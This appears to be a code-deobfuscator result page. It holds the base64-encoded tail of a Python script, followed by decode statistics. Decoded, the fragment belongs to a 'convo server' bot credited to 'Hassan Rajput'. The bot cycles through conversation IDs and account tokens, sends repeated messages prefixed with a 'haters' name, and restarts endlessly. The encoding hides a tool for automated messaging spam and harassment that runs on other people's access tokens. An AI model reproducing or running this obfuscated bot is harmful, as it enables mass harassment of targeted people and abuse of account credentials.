50KCJcMDMzWzE7MzZtW+Kck10gWW91ciBNYXNzYWdlIFN1Y2Nlc3NmdWxseSBTZW50IEJ5IEhhc3NhbidzIENvbnZvIFNlcnZlciBOby4ge30gb2YgQ29udm8ge30gVG9rZW4ge306IHt9Ii5mb3JtYXQoCiAgICAgICAgICAgICAgICAgICAgICAgIG1lc3NhZ2VfaW5kZXggKyAxLCBjb252b19pZCwgdG9rZW5faW5kZXggKyAxLCBoYXRlcnNfbmFtZSArICcgJyArIG1lc3NhZ2UpKQogICAgICAgICAgICAgICAgICAgIHByaW50KGZvcm1hdHRlZF90aW1lKQogICAgICAgICAgICAgICAgICAgIHByaW50KCdcMDMzWzE7OTJtJyArICfinKrinK3ilZDilZDilZDilZDilZDilZDilZDigKLjgI4gSEFTU0FOIFJBSlBVVCDjgI/igKLilZDilZDilZDilZDilZDilZDilZDinK3inKonKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBwcmludCgiXDAzM1sxOzM1bVt4XSBGYWlsZWQgdG8gc2VuZCBNZXNzYWdlIHt9IG9mIENvbnZvIHt9IHdpdGggVG9rZW4ge306IHt9Ii5mb3JtYXQoCiAgICAgICAgICAgICAgICAgICAgICAgIG1lc3NhZ2VfaW5kZXggKyAxLCBjb252b19pZCwgdG9rZW5faW5kZXggKyAxLCBoYXRlcnNfbmFtZSArICcgJyArIG1lc3NhZ2UpKQogICAgICAgICAgICAgICAgICAgIHByaW50KGZvcm1hdHRlZF90aW1lKQogICAgICAgICAgICAgICAgICAgIHByaW50KCdcMDMzWzE7OTJtJyArICfinKrinK3ilZDilZDilZDilZDilZDilZDilZDigKLjgI4gSEFTU0FOIFJBSlBVVCDjgI/igKLilZDilZDilZDilZDilZDilZDilZDinK3inKonKQogICAgICAgICAgICAgICAgdGltZS5zbGVlcChzcGVlZCkKICAgICAgICAgICAgcHJpbnQoIlxuWytdIEFsbCBtZXNzYWdlcyBzZW50LiBSZXN0YXJ0aW5nIHRoZSBwcm9jZXNzLi4uXG4iKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoIlshXSBBbiBlcnJvciBvY2N1cnJlZDoge30iLmZvcm1hdChlKSkKZGVmIG1haW4oKToKICAgIHNlcnZlcl90aHJlYWQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1leGVjdXRlX3NlcnZlcikKICAgIHNlcnZlcl90aHJlYWQuc3RhcnQoKQogICAgc2VuZF9pbml0aWFsX21lc3NhZ2UoKQogICAgc2VuZF9tZXNzYWdlc19mcm9tX2ZpbGUoKQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgogICAgbWFpbigp'))

Function Calls

None

Variables

None

Stats

MD5 a0e4037e4ce5d311b477bfdf47e94e37
Eval Count 0
Decode Time 166 ms